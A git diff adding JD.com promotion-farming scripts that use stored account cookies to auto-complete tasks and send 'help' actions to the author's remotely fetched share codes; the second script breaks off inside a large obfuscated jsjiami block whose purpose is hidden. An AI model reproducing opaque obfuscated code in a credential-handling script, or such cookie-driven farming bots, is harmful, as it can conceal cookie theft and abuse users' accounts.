+京东健康APP集汪汪卡瓜分百万红包 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东健康 +10 8 * * * jd_jdh.js, tag=京东健康, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_jdh.png, enabled=true + +================Loon============== +[Script] +cron "10 8 * * *" script-path=jd_jdh.js,tag=京东健康 + +===============Surge================= +京东健康 = type=cron,cronexp="10 8 * * *",wake-system=1,timeout=3600,script-path=jd_jdh.js + +============小火箭========= +京东健康 = type=cron,script-path=jd_jdh.js, cronexpr="10 8 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东健康'); +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +$.newShareCodes = ['21d9b4b51a69839577027beb0aad5105', '8edbdfa148e78f028496cff17e7df35b']; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdJdh() + } + } + // 帮助作者,把作者助力码放到用户助力码之后 + await getAuthorShareCode('https://gitee.com/shylocks/updateTeam/raw/main/jd_jdh.json'); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + await helpFriends() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function helpFriends(){ + for(let i = 0; i < $.newShareCodes.length; ++i){ + const res = await helpFriend($.newShareCodes[i]) + if (res['data'] && res['data']['inviteCode'] === 8){ + // 助力次数已满,跳出 + break + } + } +} +function rand(min, max) { + min = Math.ceil(min); + max = Math.floor(max); + return Math.floor(Math.random() * (max - min + 1)) + min; +} +async function jdJdh() { + await queryShareInfo() + await queryInviteHome() + $.nowCount = $.count + let t = `${new Date().getUTCFullYear()}${new Date().getUTCMonth()+1}${new Date().getUTCDate()}` + await queryTask(15,"meetingplace") // 逛义诊会场 + await queryTask(18,"2951198") // 看名医直播 + await queryTask(17,"246147") // + await queryTask(24, t) // 辟谣 + await doTask(22,42,`${new Date().getUTCFullYear()}-${new Date().getUTCMonth()+1}-${new Date().getUTCDate()}`) // 去打卡 + await queryTask(20,"362451650500001") // 测一测 + await doTask(23,40,`${rand(10000, 20000)}`) // 走路,这个可以直接提示领奖结果 + // 以下两个需要开启家庭医生才能完成 + await doTask(null,50,`${rand(10000, 20000)}`) // 家庭医生走路 + await queryTask(17,"235741") // 家庭医生资讯,这个可以不用开启直接完成 + await queryInviteHome() + await showMsg() +} +function getAuthorShareCode(url) { + return new Promise(resolve => { + $.get({url: `${url}?${new Date()}`, + headers:{ + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }}, async (err, resp, data) => { + try { + if (err) { + } else { + $.newShareCodes = $.newShareCodes.concat(JSON.parse(data)) + console.log($.newShareCodes) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function queryShareInfo() { + return new Promise(resolve => { + $.get(taskUrl("jdh_invite_startInvite", {"channel":"jdhapp","m_patch_appid":"jdh"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(resp) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(`您的分享助力码为:${data.data.shareParam}`) + $.newShareCodes.push(data.data.shareParam) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function queryInviteHome() { + // 首次点击30张汪汪卡 + return new Promise(resolve => { + $.get(taskUrl("jdh_invite_queryInviteHome", {"channel":"jdhapp","m_patch_appid":"jdh"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.count = data.data.ownerInfo.activityChanceCount + if(data.data.ownerInfo.firstVisitChance){ + console.log(`首次访问成功,获得 ${data.data.ownerInfo.firstVisitChance}张汪汪卡`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function helpFriend(code) { + let body = {"channel":"jdhapp","m_patch_appid":"jdh","shareParam":code} + return new Promise(resolve => { + $.get(taskUrl("jdh_invite_inviteFriends", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code === 0){ + console.log(`助力好友 ${code} 结果:${data.data.inviteDesc}`) + } + else console.log(`助力好友 ${code} 失败,错误信息:${data.message}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getTaskList() { + let body = {"pageSize":15,"startFloor":1,"pageId":"c7c1fa16b8a94fbb97f6ec220488d01b"} + return new Promise(resolve => { + $.get(taskUrl("jdh_queryFloor", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(resp) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // console.log(data) + $.inviteInfo = data.data.floorDataList.filter(vo=>vo.name==="HD_Floor_Health_Month_CollectCard")[0] + console.log($.inviteInfo) + console.log(`当前助力进度:${$.inviteInfo.items[0].completeNum}/${$.inviteInfo.items[0].limitNum}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function queryTask(taskType,infoId) { + let body = {"channel":"jdhapp","m_patch_appid":"jdh","taskType":taskType,"infoId":infoId} + return new Promise(resolve => { + $.get(taskUrl("jdh_task_queryTask", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.data&&data.data.length>0) + await doTask(taskType,data.data[0].id,infoId) + else + console.log(`任务已做过`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function doTask(taskType,taskId,infoId) { + let body = {"channel":"jdhapp","m_patch_appid":"jdh","taskId":taskId, "infoId":infoId} + return new Promise(resolve => { + $.get(taskUrl("jdh_task_doTask", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(data.message) + // await rewardTask(taskType,taskId,infoId) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function doTask2(taskType,taskId,infoId) { + let body = {"channel":"jdhapp","m_patch_appid":"jdh","taskId":taskId, "infoId":infoId} + return new Promise(resolve => { + $.get(taskUrl("jdh_task_doTask", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(data.message) + // await rewardTask(taskType,taskId,infoId) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function rewardTask(taskType,taskId,infoId) { + // 会报 no access 无解 + let body = {"channel":"jdhapp","m_patch_appid":"jdh", + "taskId":taskId,"taskType":taskType,"infoId":infoId} + return new Promise(resolve => { + $.get(taskUrl("jdh_task_getReward", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(data) + if (data.code ===0) { + console.log(data.data.extResult.mainTitle) + }else{ + console.log(data.data.msg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +async function showMsg() { + message = `获得${$.count - $.nowCount}张汪汪卡,共${$.count}张汪汪卡\n任务已做完,请手动领取奖励` + if ($.isNode() && !jdNotify) { + await notify.sendNotify(`【京东账号${$.index}】${$.nickName} `, `【${$.name}】${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } +} + +function taskPostUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}`, + body: body, + headers: { + "Cookie": cookie, + 'Content-Type': 'application/x-www-form-urlencoded', + 'accept': 'application/json, text/plain, */*', + 'origin': 'https://hlc.m.jd.com', + 'referer': 'https://hlc.m.jd.com/Question_Answer_Rumour/answerComplete', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdhapp;iPhone;9.2.7;14.2;network/wifi;lang/zh_CN;model/iPhone10,2;appBuild/1206;pv/2.1;apprpd/;usc/;jdv/0|;umd/;psq/4;ucp/;app_device/IOS;utr/;ref/;adk/;ads/;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdhapp;iPhone;9.2.7;14.2;network/wifi;lang/zh_CN;model/iPhone10,2;appBuild/1206;pv/2.1;apprpd/;usc/;jdv/0|;umd/;psq/4;ucp/;app_device/IOS;utr/;ref/;adk/;ads/;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&appid=JDHAPP&clientVersion=2.1.7&body=${escape(JSON.stringify(body))}`, + headers: { + "Cookie": cookie, + 'Content-Type': 'application/x-www-form-urlencoded', + 'accept': 'application/json, text/plain, */*', + 'origin': 'https://hlc.m.jd.com', + 'referer': 'https://hlc.m.jd.com/Question_Answer_Rumour/answerComplete', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdhapp;iPhone;9.2.7;14.2;network/wifi;lang/zh_CN;model/iPhone10,2;appBuild/1206;pv/2.1;apprpd/;usc/;jdv/0|;umd/;psq/4;ucp/;app_device/IOS;utr/;ref/;adk/;ads/;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdhapp;iPhone;9.2.7;14.2;network/wifi;lang/zh_CN;model/iPhone10,2;appBuild/1206;pv/2.1;apprpd/;usc/;jdv/0|;umd/;psq/4;ucp/;app_device/IOS;utr/;ref/;adk/;ads/;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_jxd.js b/activity/jd_jxd.js new file mode 100644 index 0000000..13ba14a --- /dev/null +++ b/activity/jd_jxd.js @@ -0,0 +1,42 @@ +/* +京小兑 +更新时间:20201-3-13 +只要保证一天运行一次,即可参与到每天3场抽奖,切勿多次运行冲垮服务器⚠️⚠️⚠️ +号内循环互助,每天2500+兑币=20+京豆,推荐打开将抽奖码换为兑币的开关 +docker用户推荐修改默认cron,避免冲垮服务器 +活动入口:微信搜索小程序-京小兑 +更新地址:jd_jxd.js + +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#京小兑 +30 8,16,20 * * * jd_jxd.js, tag=京小兑, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_jxd.png, enabled=true + +================Loon============== +[Script] +cron "35 8,16,20 * * *" script-path=jd_jxd.js, tag=京小兑 + +===============Surge================= +京小兑 = type=cron,cronexp="40 8,16,20 * * *",wake-system=1,timeout=3600,script-path=jd_jxd.js + +============小火箭========= +京小兑 = type=cron,script-path=jd_jxd.js, cronexpr="45 8,16,20 * * *", timeout=3600, enable=true + */ + +const $ = new Env('京小兑'); + +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = '', allMessage = ''; +//自动把抽奖卷兑换为兑币,默认是 + +var _0xodq='jsjiami.com.v6',_0x4a15=[_0xodq,'esO/wpHDu2HDhMOQw4k=','H1NWTxg=','w5cmwr/CjcOEwovCrg==','w4fClMKmw4hpw5hh','KsO+ScOjwrU=','G1nDuW3CkQty','w5ozw7rDhcOxwrrDjsOhwqVRDcO1Z1jDmW8zEsOPfwTDlmYBwo9qDA/CqMOtw5PCn2XDrR8/w6TCusOOwpzCgHIJwqHDuMOIwrd2wpPDnw==','w5AGw6vCkTpOwoUSecODw5vCnw==','MhPDuQ==','M0jDqsK6NSIYAcKgwqY8w4rDknZnwr1GRcO1wobCkMKfwrgIXsKzI27CnsKtOX/ClcOjOQLCqcKKFMO2ScOTGsOnJMKAC3Bhwo1hwpNPYlTCo8KywoI1PTcnQw==','w5EzwrvCpcOMwpzCqjzCkcO9wqkxw53CuCjDscKfwo8GXcKLwq7DhQctwrPCtMOVQcO5SDRf','w7Eyw6rDjcO1wpbCjMOqwrQ/VsK9KVnCuDVvTsKZdWvCpXlkw6AmeVTDtcK3wobChhnCjAs+w6PDl8OFwojDmCgOwq/CssOnwr1/w5LDtmo8fDEWHsOYQ30XPMKdw5HDu8OJakJ6wqnCusKANyPClMK6C8KMw6/CmUZBEMO+w4suwqrDlcOwwotZw5DCmMOsVRxqYCwowo8pw5zDicOWwrILO8OHXMK6f8KJJzTDhsKrCyo5woLCksOjSnVFXMOMHxDDuCbDrlHCsRTCknHCmWkNwrVZwo0dbcOlwo/Cnm7CoUY6wovCuE4dw54cCXbDs8KXw5XCq2HDnsKzwqpIQQ==','w5nmjbnnprzCuuS8geean1FDw6vCnMKcw67loavlhKvkuJDoppLojpvCpuasseejtOagoOW+o+S7gjbDl8KiE8Ohw69vwqk8esKcQ8O0UMKCPRpuF1HCrXnCr3Zi5ZOC6Z6q5YiQ5YysJuS5k+WPn+WwhsOI','wpBAwophccK1eBU=','CsORAA==','P0/DrMKAKg==','w7rCsMOSwrrCig==','QcOQw6bDnhM=','F8K8U8KReQ==','BFRtfDU=','w51xwqjDmsKe','wrF9LcOVasKzwqvDtg==','w7jCs8K4w7tR','JVvCk8KORA==','worDs8OLw5IC','N8Kxw7nDlMOVwpPChcKfwpsKOsKSfyMGNsKlYm3DnyXCvHTCq8K4wqcVYcKiYcOEwqBHwrAabMO/UcOmw7YGw4psw4/CusO6w5DDt8KeZw==','wppsNcK3w51dw4TDscKXYy4q','P8KQwqc=','ZgvChMOAEsOsw4UZw7jCm1IiQmtCcncBw5dJwpF2wpTDgHBQQmzCp8K5bRouOTQ0wpfDs8O0woDCthk3GAZFLMKow5Ipw5DDmMO6wofCu8KDw7bCnMOXdg97PQ==','DGQrwpZSMFIcU8KYEj/DvcOoHypJw4TDp8KRdcOPwqZcBsK6EMK2w7XDlCs=','N8O1dMOAwpQIwobCtjDDk8OAw6fDq8KKwqUBWmolwq3Djzwpw7DDosKgwpjDti7Di8KKwovCojJFw5FPBcOVw5FyUz3DjMKbw4DDlVvCoMKGwoZ1wphWcRbDhgsicEYiYR3DpsKCLEF6YAHDvQFdw6zDjcKXFMKtesO0w6bCmRjDojgDYsKww63CrDhNX8KKw5HDvsO2eloKw6gMUMOvKgJWw7gCw5LDkMO8wpPDtSI5w65uagY8U8KUwrFhcsKiw6fCksKlw5rDtHBIRsKQw4TCq8K5w4LDgDLDi2BtLhvChcKmw47DtBNIw6zCvsKDQjoQw73Cu8OSwqXDlFLCsMOgaMK1','wqhzCsOCcA==','LMKQQcKgfg==','w7I4XQ==','w5M1w5XDicOK','XTjCpsKww7U=','w58rwo7CpMO2','wo4ZEMO6Dw==','wr3DhsOIw6Er','T8OIwrUsw4U=','w5TCnsKBw7h6w4Vqw7M=','AsK7w7/DocOe','OHIwwpx/','w7rCucKew55c','w5fClWXCjMKD','w7EbwoXCrsOC','XEQYw4XCjg==','QDXCl8K+w4nDq8OP','ecOOw4nDpzw=','H0vDjMKvDg==','KngLwo53','BcOURsK6','JnLCkcK9dQ==','wprDscOCw5MU','w4h1wrDDnsK9wq4QMnxDeMKmw5xdw6QVXcKJwq8Bw6VZwrvCjMKJw7HDjinDisK3w4Ba','eBs4w7rClQ5kwoDDt8OMwqDDssOnw5hLWk5aKsOiI3IPw7DDv8OkPcKxdcKfQcO5wqE=','VSrCisKtworCr8OOwpEdw5bCpcKfw4/DsRxQwpw=','wr96U8OCdg==','HF/CmsKkAcK4w7QMwrRs','WiTCl8Ktw5XCtcKFw5sMw4vCt8OFw4DCuRJRwoHDrkHCgcKfwrfClcKAOMO/wqLDscOPwoLCq8KSewPCuWXDuMOTwpTCssOmw58EcVoYw7bCikk=','f8Oww4bDpsO4woHDucO6w7gPH8KuSg==','TMKeJG8=','K8KVVMKzZk91woLCpk9kDsOXwrYUw5onUMK+MMKfwoLDh3/DnhvDmsOow7/DrFkTw6NAwrfDtQDCgsOiw4XDpk5ZwoQeb8OxwoHDvMOQwpLCqWElTMOswqDCusO2w6chworDi8OHZ2/DpsO1YsKNaMKSaFXCicK6woI=','HE7DuMKyPw==','wp59wq1hRg==','QcKNBQ7DhQ==','w7TCtMO2wo7CgQ==','wqFjMsOvcg==','wpVwL8OSQQ==','YhrCkcOoEg==','QsKBw7PDvcK0','G8KKw7nDm8OS','wpN1w5VSw6Q=','w5PDukHDkxI=','KsOQf8K+XQ==','w6DDosK8ZXg=','w7hkwqnDmMKb','wpJgw7xrw6k=','Bw/DlMKeV